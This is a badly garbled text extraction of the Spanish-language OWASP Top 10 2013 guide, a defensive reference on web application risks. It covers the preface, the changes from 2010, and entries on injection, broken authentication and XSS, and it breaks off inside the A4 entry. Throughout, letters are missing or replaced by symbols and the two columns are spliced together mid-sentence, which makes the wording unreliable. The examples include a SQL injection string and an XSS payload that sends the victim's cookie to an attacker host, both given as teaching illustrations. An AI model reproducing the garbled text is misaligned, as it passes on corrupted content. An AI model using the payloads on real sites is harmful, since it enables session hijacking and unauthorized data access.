OWASP Top 10 - 2013 Final - Español PDF

O
Acerca de OWASP
Prefacio Acerca de OWASP

El soNware inseguro est debilitando las nanzas, salud, defensa, El proyecto abierto de seguridad en aplicaciones Web (OWASP por
energa, y otras infraestructuras cr=cas. A medida que la sus siglas en ingls) es una comunidad abierta dedicada a facultar a
infraestructura digital se hace cada vez ms compleja e las organizaciones a desarrollar, adquirir y mantener aplicaciones que
interconectada, la dicultad de lograr la seguridad en aplicaciones pueden ser conables. En OWASP encontrar gratuitas y abiertas
aumenta exponencialmente. No se puede dar el lujo de tolerar
problemas de seguridad rela=vamente sencillos, como los que se Herramientas y estndares de seguridad en aplicaciones
presentan en este OWASP Top 10. Libros completos de revisiones de seguridad en aplicaciones,
desarrollo de cdigo fuente seguro, y revisiones de seguridad en
El obje=vo del proyecto Top 10 es crear conciencia acerca de la cdigo fuente
seguridad en aplicaciones mediante la iden=cacin de algunos de Controles de seguridad estndar y libreras
los riesgos ms cr=cos que enfrentan las organizaciones. El Captulos locales en todo el mundo
proyecto Top 10 es referenciado por muchos estndares, libros, Inves=gaciones de vanguardia
herramientas, y organizaciones, incluyendo MITRE, PCI DSS, DISA, Extensas conferencias alrededor del mundo
FCT, y muchos ms . Esta versin de OWASP Top 10 marca el Listas de correo
aniversario nmero diez de este proyecto, de concien=zacin sobre
la importancia de los riesgos de seguridad en aplicaciones. OWASP Aprenda ms en: hGps://www.owasp.org
Top 10 fue lanzado por primera vez en 2003, con actualizaciones
menores en 2004 y 2007. La versin 2010 fue renovada para dar Todas las herramientas de OWASP, documentos, foros, y captulos
prioridad al riesgo, no slo a la prevalencia. La edicin 2013 sigue el son gratuitas y abiertas a cualquiera interesado en mejorar la
mismo enfoque. seguridad en aplicaciones. Abogamos por resolver la seguridad en
aplicaciones como un problema de personas, procesos y tecnologa,
Lo invitamos a que u=lice el Top 10 para hacer que su organizacin ya que los enfoques ms efec=vos para la seguridad en aplicaciones
se inicie en la tem=ca sobre seguridad en aplicaciones. Los requieren mejoras en todas estas reas.
desarrolladores pueden aprender de los errores de otras
organizaciones. Los ejecu=vos deben comenzar a pensar como OWASP es un nuevo =po de organizacin. Nuestra libertad de
ges=onar el riesgo que las aplicaciones de soNware crean en sus presiones comerciales nos permite proveer informacin sobre
empresas. seguridad en aplicaciones sin sesgos, prc=ca y efec=va. OWASP no
est aliada con ninguna compaa de tecnologa, aunque apoyamos
A largo plazo, le recomendamos que cree un programa de seguridad el uso instruido de tecnologas de seguridad comercial. Al igual que
en aplicaciones que sea compa=ble con su cultura y su tecnologa. muchos otros proyectos de soNware de cdigo abierto, OWASP
Estos programas vienen en todas las formas y tamaos, y debe produce muchos =pos de materiales en una manera abierta y
evitar tratar de hacer todo lo prescrito por algn modelo de colabora=va.
procesos. En cambio, debe de aprovechar las fortalezas existentes
en su organizacin para hacer y medir lo que le funcione a usted. La fundacin OWASP es una en=dad sin nimo de lucro para asegurar
Esperamos que OWASP Top 10 sea =l para sus esfuerzos de el xito a largo plazo del proyecto. Casi todos los asociados con
seguridad en aplicaciones. Por favor no dude en ponerse en OWASP son voluntarios, incluyendo la junta direc=va de OWASP,
contacto con OWASP para sus dudas, comentarios, e ideas, ya sea comits globales, lderes de captulos, los lderes y miembros de
pblicamente a owasp-topten@lists.owasp.org o en privado a proyectos. Apoyamos la inves=gacin innovadora sobre seguridad a
dave.wichers@owasp.org. travs de becas e infraestructura.

nase a nosotros!
Derechos de Autor y Licencia

Copyright 2003 2013 The OWASP Founda=on

Este documento se distribuye bajo la licencia 3.0 de Crea=ve Commons AGribu=on ShareAlike. Para cualquier
reu=lizacin o distribucin, debe dejar claro los trminos de la licencia de esta obra.
I Introduccin
Bienvenidos
Bienvenidos al OWASP Top 10 2013! Esta actualizacin profundiza sobre una de las categoras de la versin 2010, a n de ser ms inclusivo,
sobre importantes vulnerabilidades comunes, y reordena algunos de los dems basndose en el cambio de los datos de prevalencia. Tambin
presenta un componente de seguridad como centro de atencin, mediante la creacin de una categora especca para este riesgo, sacndolo
de la oscuridad de la letra pequea del Top Ten 2010; A6: La conguracin de seguridad incorrecta.

El OWASP Top 10 2013, se basa en 8 conjuntos de datos de 7 rmas especializadas en seguridad de aplicaciones, incluyendo 4 empresas
consultoras y 3 proveedores de herramientas /SaaS (1 est=co, dinmico 1, y 1 con ambos). Estos datos abarcan ms de 500.000
vulnerabilidades a travs de cientos de organizaciones y miles de aplicaciones. Las vulnerabilidades del Top 10 son seleccionadas y priorizadas
de acuerdo a estos datos de prevalencia, en combinacin con es=maciones consensuadas de explotabilidad, detectabilidad e impacto.

El obje=vo principal del Top 10 es educar a los desarrolladores, diseadores, arquitectos, gerentes, y organizaciones ; sobre las consecuencias
de las vulnerabilidades de seguridad ms importantes en aplicaciones web. El Top 10 provee tcnicas bsicas sobre como protegerse en estas
reas de alto riesgo y tambin provee orientacin sobre los pasos a seguir.
Advertencias Agradecimientos

No se detenga en el Top 10. Existen cientos de problemas que Gracias a Aspect Security por iniciar, liderar, y actualizar el OWASP
pueden afectar la seguridad en general de una aplicacin web , tal Top 10, desde sus inicios en 2003, y a sus autores primarios: Je
como se ha discu=do en la Gua de Desarrollo OWASP y Williams y Dave Wichers.
OWASP Cheat Sheet. Este documento es de lectura esencial para
cualquiera que desarrolle aplicaciones web hoy en da. Una efec=va
orientacin en como encontrar vulnerabilidades en aplicaciones
web es suministrada en las Gua de Pruebas OWASP y la
Gua de Revisin de Cdigo OWASP. Nos gustara agradecer a las siguientes organizaciones que
contribuyeron con datos predominantes de vulnerabilidades para
Cambio constante. Este Top 10 con=nuar cambiando. Incluso sin actualizar el Top Ten.
cambiar una sola lnea de cdigo en la aplicacin, es posible llegar a
ser vulnerable, ya que al descubrirse nuevos defectos, los ataques Aspect Security Sta=s=cs
son renados. Por favor, revise los consejos al nal del Top 10 HP Sta=s=cs tanto de For=fy como de WebInspect
Prximos pasos para Desarrolladores, Vericadores y Minded Security Sta=s=cs
Organizaciones para mayor informacin. SoNtek Sta=s=cs
Trustwave, SpiderLabs Sta=s=cs (Ver pg. 50)
Piense posiCvamente. Cuando se encuentre preparado para dejar Veracode Sta=s=cs
de buscar vulnerabilidades y focalizarse en establecer controles WhiteHat Security Inc. Sta=s=cs
seguros de aplicaciones, OWASP ha producido el
Applica=on Security Verica=on Standard (ASVS) como una gua Nos gustara dar las gracias a todos los que contribuyeron con las
para organizaciones y revisores de aplicaciones que detalla los versiones anteriores del Top 10. Sin estas aportaciones, no sera lo
controles de seguridad a vericar en una aplicacin. que es hoy. Tambin nos gustara dar las gracias a aquellos que han
aportado comentarios construc=vos y a los que dedicaron =empo de
UClice herramientas inteligentemente. Las vulnerabilidades de revisin de esta actualizacin del Top 10:
seguridad pueden ser bastante complejas y encontrarse ocultas en
montaas de cdigo. En muchos casos, el enfoque mas eciente y Adam Baso (Wikimedia Founda=on)
econmico para encontrar y eliminar dichas vulnerabilidades es la Mike Boberski (Booz Allen Hamilton)
combinacin de expertos armados con buenas herramientas para Torsten Gigler
realizar esta tarea. Neil Smithline (MorphoTrust USA) Por producir la wiki de
esta versin del Top 10 y proporcionar informacin.
Push leF. Enfocarse en hacer que la seguridad sea parte de la
cultura organizacional a travs de todo el ciclo de desarrollo. Puede Y, por l=mo, nos gustara de antemano dar las gracias a todos los
encontrar ms informacin en traductores por traducir esta versin del Top 10 en varios idiomas, lo
Open SoNware Assurance Maturity Model (SAMM) y que ayuda a hacer que el OWASP Top 10 sea accesible al planeta
Rugged Handbook. entero.
RN Notas sobre la versin
Qu ha cambiado del 2010 al 2013?

El escenario de amenazas para la seguridad en aplicaciones cambia constantemente. Los factores clave en esta evolucin son los avances
hechos por los atacantes, la liberacin de nuevas tecnologas con nuevas debilidades y defensas incorporadas, as como el despliegue de
sistemas cada vez ms complejos. Para mantener el ritmo, actualizamos peridicamente el OWASP Top 10. En esta versin 2013, hemos
realizado los siguientes cambios:

1) Basados en nuestros datos, la Prdida de Auten=cacin y Ges=n de Sesiones ascendi en prevalencia. Pensamos que probablemente se
deba a que se estn realizando mayores esfuerzos de deteccin, y no a un aumento de prevalencia en s. Por este mo=vo, intercambiamos
las posiciones de los riesgos A2 y A3.
2) Falsicacin de Pe=ciones en Si=os Cruzados (CSRF) disminuy en prevalencia en base a nuestros datos, por lo tanto descendi de la
posicin 2010-A5 a la posicin 2013-A8. Creemos que se debe a que ste ha estado durante 6 aos en el OWASP Top 10 , mo=vando a las
organizaciones y desarrolladores de frameworks a enfocarse lo suciente para reducir signica=vamente el nmero de vulnerabilidades en
las aplicaciones del "mundo real".
3) Hemos ampliado Falla de Restriccin de Acceso a URL desde el OWASP Top 10 2010 para brindarle un signicado ms amplio:
+ 2010-A8: Falla de Restriccin de Acceso a URL ahora es 2013-A7: Ausencia de Control de Acceso a las Funciones - para cubrir todos los
controles de acceso a nivel de funcin. Existen muchas maneras de especicar a qu funcin se accede, no slo la URL.
4) Hemos fusionado y ampliado 2010-A7 y A9-2010 para crear: 2013-A6: Exposicin de Datos Sensibles:
+ Esta nueva categora fue creada por la fusin de 2010-A7 - Almacenamiento Criptogrco Inseguro y 2010-A9 - Proteccin
Insuciente en la Capa de Transporte, adems de aadir riesgos de exposicin de datos sensibles en el navegador. Esta nueva
categora abarca la proteccin de datos sensibles (dis=nta al control de acceso, que est cubierta por 2013-A4 y 2013-A4) desde que
es provisto por el usuario, transmi=do, almacenado por la aplicacin y enviado al navegador nuevamente.
5) Hemos aadido 2013-A9: Uso de Componentes con Vulnerabilidades Conocidas:
+ Este tema fue mencionado como parte de 2010-A6 - Defectuosa conguracin de seguridad, pero ahora posee una categora propia
debido al crecimiento del desarrollo basado en componentes. Esto ha incrementado de manera signica=va el riesgo de la u=lizacin
de componentes con vulnerables conocidas.
OWASP Top 10 2010 (Previo) OWASP Top 10 2013 (Nuevo)

A1 Inyeccin A1 Inyeccin
A3 Prdida de AutenCcacin y GesCn de Sesiones A2 Prdida de AutenCcacin y GesCn de Sesiones
A2 Secuencia de Comandos en SiCos Cruzados (XSS) A3 Secuencia de Comandos en SiCos Cruzados (XSS)
A4 Referencia Directa Insegura a Objetos A4 Referencia Directa Insegura a Objetos
A6 Defectuosa Conguracin de Seguridad A5 Conguracin de Seguridad Incorrecta
A7 Almacenamiento Criptogrco Inseguro Fusionada A9 A6 Exposicin de Datos Sensibles
A8 Falla de Restriccin de Acceso a URL Ampliada en A7 Ausencia de Control de Acceso a las Funciones
A5 Falsicacin de PeCciones en SiCos Cruzados (CSRF) A8 Falsicacin de PeCciones en SiCos Cruzados (CSRF)
<dentro de A6: Defectuosa Conguracin de Seguridad> A9 Uso de Componentes con Vulnerabilidades Conocidas
A10 Redirecciones y reenvos no validados A10 Redirecciones y reenvos no validados
A9 Proteccin Insuciente en la Capa de Transporte Fusionada con 2010-A7 en la nueva 2013-A6

Riesgo Riesgos de Seguridad en Aplicaciones
Qu son los riesgos de seguridad en aplicaciones?

Los atacantes pueden potencialmente usar rutas diferentes a travs de la aplicacin para hacer dao a su negocio u organizacin. Cada una de
estas rutas representa un riesgo que puede, o no, ser lo sucientemente grave como para jus=car la atencin.

Agentes Vectores Debilidades Controles Impactos Impactos
de Amenaza de Ataque de Seguridad de Seguridad Tcnicos al Negocio

Ataque Debilidad Control Impacto

Recurso
Ataque Debilidad Control Impacto
Funcin
Ataque Debilidad Impacto
Recurso

Debilidad Control

A veces, estas rutas son triviales de encontrar y explotar, y a veces son muy di|ciles. Del mismo modo, el dao que se causa puede ir de
ninguna consecuencia, o ponerlo fuera del negocio. Para determinar el riesgo en su organizacin, puede evaluar la probabilidad asociada a cada
agente de amenaza, vector de ataque, y la debilidad en la seguridad, y combinarla con una es=macin del impacto tcnico y de negocios para
su organizacin. En conjunto, estos factores determinan el riesgo global.
Cul es Mi riesgo? Referencias

El OWASP Top 10 se enfoca en la iden=cacin de los riesgos ms serios para una amplia
gama de organizaciones. Para cada uno de estos riesgos, proporcionamos informacin OWASP
genrica sobre la probabilidad y el impacto tcnico a travs del siguiente esquema de
calicaciones, que est basado en Metodologa de Evaluacin de Riesgos OWASP. OWASP Risk Ra=ng Methodology
Ar=cle on Threat/Risk Modeling
Agente Vectores Prevalencia de Detectabilidad Impacto Impacto
de Amenaza de Ataque Debilidades de Debilidades
Tcnico al Negocio
Externas
Fcil Difundido Fcil Severo Especco FAIR Informa=on Risk Framework
Especco
de la
de la Promedio Comn Promedio Moderado MicrosoN Threat Modeling (STRIDE and
aplicacion aplicacin
DREAD)
Di|cil Poco Comn Di|cil Menor /negocio

Slo usted sabe los detalles especcos de su negocio. Para una aplicacin determinada,
podra no exis=r un agente de amenaza que pueda ejecutar el ataque en cues=n, o el
impacto tcnico podra no hacer ninguna diferencia en su negocio. Por lo tanto, usted debe
evaluar cada riesgo, enfocndose en los agentes de amenaza, los controles de seguridad y el
impacto al negocio. Nosotros enunciamos los Agentes de Amenaza como especcos de la
aplicacin, y el impacto al negocio como especco de la aplicacin/negocio, con el n de
indicar que estos son claramente dependientes de los detalles especcos de las aplicaciones
en su empresa.
Los nombres de los riesgos en el Top 10 derivan del =po de ataque, el =po de debilidad o el
=po de impacto que causan. Hemos elegido los nombres que reejan con precisin los
riesgos y, cuando es posible, alineamos con la terminologa comn para aumentar el nivel de
conciencia sobre ellos.
OWASP Top 10 de Riesgos de
T10 Seguridad en Aplicaciones
Las fallas de inyeccin, tales como SQL, OS, y LDAP, ocurren cuando datos no conables son enviados a un
A1- Inyeccin interprete como parte de un comando o consulta. Los datos hos=les del atacante pueden engaar al
interprete en ejecutar comandos no intencionados o acceder datos no autorizados.
A2 Prdida de
AutenCcacin y Las funciones de la aplicacin relacionadas a auten=cacin y ges=n de sesiones son frecuentemente
implementadas incorrectamente, permi=endo a los atacantes comprometer contraseas, claves, token de
GesCn de sesiones, o explotar otras fallas de implementacin para asumir la iden=dad de otros usuarios.
Sesiones
A3 Secuencia de Las fallas XSS ocurren cada vez que una aplicacin toma datos no conables y los enva al navegador web sin
una validacin y codicacin apropiada. XSS permite a los atacantes ejecutar secuencia de comandos en el
Comandos en SiCos navegador de la vic=ma los cuales pueden secuestrar las sesiones de usuario, destruir si=os web, o dirigir al
Cruzados (XSS) usuario hacia un si=o malicioso.
A4 Referencia Una referencia directa a objetos ocurre cuando un desarrollador expone una referencia a un objeto de
implementacin interno, tal como un chero, directorio, o base de datos. Sin un chequeo de control de
Directa Insegura a acceso u otra proteccin, los atacantes pueden manipular estas referencias para acceder datos no
Objetos autorizados.
Una buena seguridad requiere tener denida e implementada una conguracin segura para la aplicacin,
A5 Conguracin marcos de trabajo, servidor de aplicacin, servidor web, base de datos, y plataforma. Todas estas
de Seguridad conguraciones deben ser denidas, implementadas, y mantenidas ya que por lo general no son seguras
Incorrecta por defecto. Esto incluye mantener todo el soNware actualizado, incluidas las libreras de cdigo u=lizadas
por la aplicacin.
Muchas aplicaciones web no protegen adecuadamente datos sensibles tales como nmeros de tarjetas de
A6 Exposicin crdito o credenciales de auten=cacin. Los atacantes pueden robar o modicar tales datos para llevar a
cabo fraudes, robos de iden=dad u otros delitos. Los datos sensibles requieren de mtodos de proteccin
de datos sensibles adicionales tales como el cifrado de datos, as como tambin de precauciones especiales en un intercambio
de datos con el navegador.
A7 Ausencia de La mayora de aplicaciones web verican los derechos de acceso a nivel de funcin antes de hacer visible en
la misma interfaz de usuario. A pesar de esto, las aplicaciones necesitan vericar el control de acceso en el
Control de Acceso a servidor cuando se accede a cada funcin. Si las solicitudes de acceso no se verican, los atacantes podrn
Funciones realizar pe=ciones sin la autorizacin apropiada.
A8 - Falsicacin de Un ataque CSRF obliga al navegador de una vic=ma auten=cada a enviar una pe=cin HTTP falsicado,
incluyendo la sesin del usuario y cualquier otra informacin de auten=cacin incluida autom=camente, a
PeCciones en SiCos
Cruzados (CSRF)
una aplicacin web vulnerable. Esto permite al atacante forzar al navegador de la vic=ma para generar
pedidos que la aplicacin vulnerable piensa son pe=ciones leg=mas provenientes de la vic=ma.
A9 UClizacin de Algunos componentes tales como las libreras, los frameworks y otros mdulos de soNware casi siempre
componentes con funcionan con todos los privilegios. Si se ataca un componente vulnerable esto podra facilitar la intrusin
en el servidor o una perdida seria de datos. Las aplicaciones que u=licen componentes con vulnerabilidades
vulnerabilidades conocidas debilitan las defensas de la aplicacin y permiten ampliar el rango de posibles ataques e
conocidas impactos.
A10 Las aplicaciones web frecuentemente redirigen y reenvan a los usuarios hacia otras pginas o si=os web, y
Redirecciones y u=lizan datos no conables para determinar la pgina de des=no. Sin una validacin apropiada, los
reenvios no atacantes pueden redirigir a las vc=mas hacia si=os de phishing o malware, o u=lizar reenvos para acceder
validados pginas no autorizadas.
A1 Inyeccin
Vectores Debilidades Impactos Impactos
de Ataque de Seguridad Tcnicos al negocio
Agentes de
Amenaza
Especco de la Explotabilidad Prevalencia Deteccin Impacto Especco de la
Aplicacin FCIL COMN PROMEDIO SEVERO aplicacin/negocio
Considere a cualquiera El atacante enva ataques Las fallas de inyeccin ocurren cuando una Una inyeccin puede Considere el valor de
que pueda enviar con cadenas simples de aplicacin enva informacin no conable a un causar prdida o negocio de los datos
informacin no conable texto, los cuales explotan interprete. Estas fallas son muy comunes, corrupcin de datos, afectados y la plataforma
al sistema, incluyendo la sintaxis del interprete a par=cularmente en el cdigo an=guo. Se prdida de sobre la que corre el
usuarios externos, vulnerar. Casi cualquier encuentran, frecuentemente, en las consultas SQL, responsabilidad, o intrprete. Todos los
usuarios internos y fuente de datos puede ser LDAP, Xpath o NoSQL; los comandos de SO, negacin de acceso. datos pueden ser
administradores. un vector de inyeccin, intrpretes de XML, encabezados de SMTP, Algunas veces, una robados, modicados o
incluyendo las fuentes argumentos de programas, etc. Estas fallas son inyeccin puede llevar a eliminados. Podra ser
internas. fciles de descubrir al examinar el cdigo, pero el compromiso total de el daada su reputacin?
di|ciles de descubrir por medio de pruebas. Los servidor.
analizadores y fuzzers pueden ayudar a los
atacantes a encontrar fallas de inyeccin.
Soy Vulnerable? Cmo prevenirlo?

La mejor manera de averiguar si una aplicacin es vulnerable a una Evitar una inyeccin requiere mantener los datos no conables
inyeccin es vericar que en todo uso de intrpretes se separa la separados de los comandos y consultas.
informacin no conable del comando o consulta. Para llamados
SQL, esto signica usar variables parametrizadas en todas las 1. La opcin preferida es usar una API segura la cual evite el uso de
sentencias preparadas (prepared statements) y procedimientos interpretes por completo o provea una interface parametrizada.
almacenados, evitando las consultas dinmicas. Sea cuidadoso con las APIs, como los procedimiento
almacenados, que son parametrizados, pero que an pueden
Vericar el cdigo es una manera rpida y precisa para ver si la introducir inyecciones en el motor del interprete.
aplicacin usa intrpretes de manera segura. Herramientas de
anlisis de cdigo pueden ayudar al analista de seguridad a ver como 2. Si una API parametrizada no est disponible, debe codicar
se u=lizan los intrpretes y seguir el ujo de datos a travs de la cuidadosamente los caracteres especiales, usando la sintaxis de
aplicacin. Los testadores pueden validar estos problemas al crear escape especca del intrprete. OWASP ESAPI provee muchas
pruebas que conrmen la vulnerabilidad. de estas ru=nas de codicacin.
El anlisis dinmico automa=zado, el cual ejercita la aplicacin 3. La validacin de entradas posi=va o de "lista blanca" tambin se
puede proveer una idea de si existe alguna inyeccin explotable. Los recomienda, pero no es una defensa integral dado que muchas
analizadores automa=zados no siempre pueden alcanzar a los aplicaciones requieren caracteres especiales en sus entradas. Si
intrpretes y se les diculta detectar si el ataque fue exitoso. Un se requieren caracteres especiales, solo las soluciones anteriores
manejo pobre de errores hace a las inyecciones fciles de descubrir. 1. y 2. haran su uso seguro. La ESAPI de OWASP =ene una
librera extensible de ru=nas de validacin posi=va.
Ejemplos de Escenarios de Ataques Referencias

Escenario #1: La aplicacin usa datos no conables en la OWASP
construccin de la siguiente instruccin SQL vulnerable:
OWASP SQL Injec=on Preven=on Cheat Sheet
String query = "SELECT * FROM accounts WHERE
custID='" + request.getParameter("id") + "'"; OWASP Query Parameteriza=on Cheat Sheet
Escenario #2: De manera similar, si una aplicacin con|a ciegamente OWASP Command Injec=on Ar=cle
en el framework puede resultar en consultas que an son OWASP XML eXternal En=ty (XXE) Reference Ar=cle
vulnerables, (ej., Hibernate Query Language (HQL)):
ASVS: Output Encoding/Escaping Requirements (V6)
Query HQLQuery = session.createQuery(FROM accounts
OWASP Tes=ng Guide: Chapter on SQL Injec=on Tes=ng
WHERE custID=' + request.getParameter("id") + "'");
Externas
En ambos casos, al atacante modicar el parmetro id en su
navegador para enviar: ' or '1'='1. Por ejemplo: CWE Entry 77 on Command Injec=on
hvp://example.com/app/accountView?id=' or '1'='1 CWE Entry 89 on SQL Injec=on
Esto cambia el signicado de ambas consultas regresando todos los CWE Entry 564 on Hibernate Injec=on
registros de la tabla accounts. Ataques ms peligrosos pueden
modicar datos o incluso invocar procedimientos almacenados.
Prdida de AutenCcacin y
A2 GesCn de Sesiones
Agentes de
Amenaza
Aplicacin PROMEDIO DIFUNDIDO PROMEDIO SEVERO aplicacin/negocio
Considere atacantes El atacante u=liza Los desarrolladores a menudo crean esquemas Estas vulnerabilidades Considere el valor de
annimos externos, as ltraciones o propios de auten=cacin o ges=n de las sesiones, pueden permi=r que negocio de los datos
como a usuarios con sus vulnerabilidades en las pero construirlos en forma correcta es di|cil. Por algunas o todas las afectados o las funciones
propias cuentas, que funciones de auten=cacin ello, a menudo estos esquemas propios con=enen cuentas sean atacadas. de la aplicacin
podran intentar robar o ges=n de las sesiones vulnerabilidades en el cierre de sesin, ges=n de Una vez que el ataque expuestas.
cuentas de otros. (ej. cuentas expuestas, contraseas, =empo de desconexin (expiracin), resulte exitoso, el
Considere tambin a contraseas, funcin de recordar contrasea, pregunta secreta, atacante podra realizar Tambin considere el
impacto en el negocio de
trabajadores que quieran iden=cadores de sesin) actualizacin de cuenta, etc. Encontrar estas cualquier accin que la
la exposicin pblica de
enmascarar sus acciones. para suplantar otros vulnerabilidades puede ser di|cil ya que cada vc=ma pudiese. Las
usuarios. implementacin es nica. cuentas privilegiadas son la vulnerabilidad.
obje=vos prioritarios.

Estn correctamente protegidos los ac=vos de la ges=n de La recomendacin principal para una organizacin es facilitar a los
sesiones como credenciales y los iden=cadores (ID) de sesin? desarrolladores:
Puedes ser vulnerable si:
1. Un nico conjunto de controles de autenCcacin y gesCn de
1. Las credenciales de los usuarios no estn protegidas cuando se sesiones fuerte. Dichos controles debern conseguir:
almacenan u=lizando un hash o cifrado. Ver el punto A6.
2. Se pueden adivinar o sobrescribir las credenciales a travs de a. Cumplir con todos los requisitos de auten=cacin y ges=n
funciones dbiles de ges=n de la sesin (ej., creacin de de sesiones denidos en el Applica=on Security Verica=on
usuarios, cambio de contraseas, recuperacin de contraseas, Standard (ASVS) de OWASP, secciones V2 (Auten=cacin) y
ID de sesin dbiles). V3 (Ges=n de sesiones).
3. Los ID de sesin son expuestos en la URL (ej., re-escritura de
URL). b. Tener un interfaz simple para los desarrolladores.
4. Los ID de sesin son vulnerables a ataques de jacin de la Considerar el uso de ESAPI Authen=cator y las APIs de
sesin. usuario como buenos ejemplos a seguir, u=lizar o sobre los
5. Los ID de sesin no expiran, o las sesiones de usuario o los tokens que construir.
de auten=cacin. En par=cular, los tokens de inicio de sesin 2. Se debe realizar un gran esfuerzo en evitar vulnerabilidades de
nico (SSO), no son invalidados durante el cierre de sesin. XSS que podran ser u=lizadas para robar ID de sesin. Ver el
6. Los ID de sesiones no son rotados luego de una auten=cacin punto A3.
exitosa.
7. Las contraseas, ID de sesin y otras credenciales son trasmi=das
a travs de canales no cifrados. Ver el punto A6.
Visitar la seccin de requisitos de ASVS V2 y V3 para ms detalles.

Escenario #1: Aplicacin de reserva de vuelos que soporta re- OWASP
escritura de URL poniendo los ID de sesin en la propia direccin:
Para un mayor conjunto de requisitos y problemas a evitar en esta
hvp://example.com/sale/ rea, ver las
saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV? secciones de requisitos de ASVS para Auten=cacin (V2) y Ges=n de
dest=Hawaii Sesiones (V3).
Un usuario auten=cado en el si=o quiere mostrar la oferta a sus OWASP Authen=ca=on Cheat Sheet
amigos. Enva por correo electrnico el enlace anterior, sin ser OWASP Forgot Password Cheat Sheet
consciente de que est proporcionando su ID de sesin. Cuando sus
amigos u=licen el enlace u=lizarn su sesin y su tarjeta de crdito. OWASP Session Management Cheat Sheet
Escenario #2: No se establecen correctamente los =empos de OWASP Development Guide: Chapter on Authen=ca=on
expiracin de la sesin en la aplicacin. Un usuario u=liza un
ordenador pblico para acceder al si=o. En lugar de cerrar la sesin, OWASP Tes=ng Guide: Chapter on Authen=ca=on
cierra la pestaa del navegador y se marcha. Un atacante u=liza el Externas
mismo navegador al cabo de una hora, y ese navegador todava se
encuentra auten=cado. CWE Entry 287 on Improper Authen=ca=on
Escenario #3: Un atacante interno o externo a la organizacin, CWE Entry 384 on Session Fixa=on
consigue acceder a la base de datos de contraseas del sistema. Las
contraseas de los usuarios no se encuentran cifradas, exponiendo
Secuencia de Comandos en SiCos
A3 Cruzados (XSS)
Agentes de
Amenaza
Aplicacin PROMEDIO MUY DIFUNDIDA FACIL MODERADO aplicacin / negocio
Considere cualquier El atacante enva cadenas XSS es la falla de seguridad predominante en El atacante puede Considere el valor para el
persona que pueda de texto que son aplicaciones web. Ocurren cuando una aplicacin, ejecutar secuencias de negocio del sistema
enviar datos no secuencias de comandos en una pgina enviada a un navegador incluye comandos en el afectado y de los datos
conables al sistema, de ataque que explotan el datos suministrados por un usuario sin ser navegador de la vc=ma que ste procesa.
incluyendo usuarios intrprete del navegador. validados o codicados apropiadamente. Existen para secuestrar las
Tambin considere el
externos, internos y Casi cualquier fuente de tres =pos de fallas conocidas XSS: 1) Almacenadas, sesiones de usuario,
administradores. datos puede ser un vector 2) Reejadas, y 3) basadas en DOM . alterar la apariencia del impacto en el negocio la
exposicin pblica de la
de ataque, incluyendo si=o web, insertar cdigo
fuentes internas tales La mayora de las fallas XSS son detectadas de hos=l, redirigir usuarios, vulnerabilidad.
forma rela=vamente fcil a travs de pruebas o por secuestrar el navegador
como datos de la base de
datos. medio del anlisis del cdigo. de la vc=ma u=lizando
malware, etc.

Es vulnerable si no asegura que todas las entradas de datos Prevenir XSS requiere mantener los datos no conables separados
ingresadas por los usuarios son codicadas adecuadamente; o si no del contenido ac=vo del navegador.
se verica en el momento de ingreso que los datos sean seguros
antes de ser incluidos en la pgina de salida. Sin la codicacin o 1. La opcin preferida es codicar los datos no conables basados
validacin debida, dicha entrada ser tratada como contenido ac=vo en el contexto HTML (cuerpo, atributo, JavaScript, CSS, o URL)
en el navegador. De u=lizarse Ajax para actualizar dinmicamente la donde sern ubicados. Para ms detalles sobre tcnicas de
pgina, u=liza una API de JavaScript segura ?. De u=lizar una API de codicacin, consulte la Hoja de trucos de OWASP para la
JavaScript insegura, se deben realizar la codicacin o validacin de prevencin XSS.
las entradas. 2. Tambin se recomienda la validacin de entradas posi=va o de
Mediante el uso de herramientas automa=zadas se pueden lista blanca, considerando que esta tcnica no es una defensa
iden=car ciertas vulnerabilidades de XSS. Sin embargo, cada completa ya que muchas aplicaciones requieren aceptar
aplicacin construye las pginas de salida de forma diferente y u=liza caracteres especiales como parte de las entradas vlidas. Dicha
dis=ntos intrpretes en el navegador como JavaScript, Ac=veX, Flash validacin debe, en la medida de lo posible, validar el largo, los
o Silverlight, dicultando la deteccin autom=ca. Una cobertura caracteres, el formato y reglas de negocio que debe cumplir el
completa requiere adems de enfoques autom=cos, una dato antes de aceptarlo como entrada.
combinacin de tcnicas como la revisin manual de cdigo y de 3. Para contenido en formato enriquecido, considere u=lizar
pruebas de penetracin. bibliotecas de auto sani=zacin como An=Samy de OWASP o el
Las tecnologas Web 2.0 como Ajax, hacen que XSS sea mucho ms proyecto sani=zador de HTML en Java.
di|cil de detectar mediante herramientas automa=zadas. 4. Considere u=lizar pol=cas de seguridad de contenido (CSP)
para defender contra XSS la totalidad de su si=o.
Ejemplos de escenarios de Ataques Referencias (en ingls)

La aplicacin u=liza datos no conables en la construccin del OWASP
siguiente cdigo HTML sin validarlos o codicarlos:
OWASP XSS Preven=on Cheat Sheet
(String) page += "<input name='creditcard' type='TEXT
value='" + request.getParameter("CC") + "'>"; OWASP DOM based XSS Preven=on Cheat Sheet
El atacante modica el parmetro CC en el navegador: OWASP Cross-Site Scrip=ng Ar=cle
'><script>document.locaCon= ESAPI Encoder API

'hvp://www.avacker.com/cgi-bin/cookie.cgi? ASVS: Requerimientos de codicacin de salidas (V6)
foo='+document.cookie</script>'.
OWASP An=Samy: Biblioteca de sani=zacin
Esto causa que el iden=cador de sesin de la vc=ma sea enviado al
si=o web del atacante, permi=endo al atacante secuestrar la sesin
actual del usuario. Tes=ng Guide: Primeros tres captulos sobre pruebas de la validacin
de datos
Notar que los atacantes pueden tambin u=lizar XSS para anular
cualquier defensa CSRF que la aplicacin pueda u=lizar. Ver A8 para OWASP Guia de revisin de cdigo: Captulo sobre revisin de XSS
informacin sobre CSRF.
OWASP XSS Filter Evasion Cheat Sheet
Externas
CWE Entry 79 on Cross-Site Scrip=ng
A4 Referencia directa insegura a objetos
Agentes de
Amenaza
Aplicacin FCIL COMN FCIL MODERADO aplicacin/negocio
Considere los =pos de Un atacante, como usuario Normalmente, las aplicaciones u=lizan el nombre o Dichas vulnerabilidades Considere el valor de
usuarios en su sistema. autorizado en el sistema, clave actual de un objeto cuando se generan las pueden comprometer negocio de los datos
Existen usuarios que simplemente modica el pginas web. Las aplicaciones no siempre verican toda la informacin que afectados o las funciones
tengan nicamente valor de un parmetro que que el usuario =ene autorizacin sobre el obje=vo. pueda ser referida por de la aplicacin
acceso parcial a se reere directamente a Esto resulta en una vulnerabilidad de referencia de parmetros. A menos expuestas.
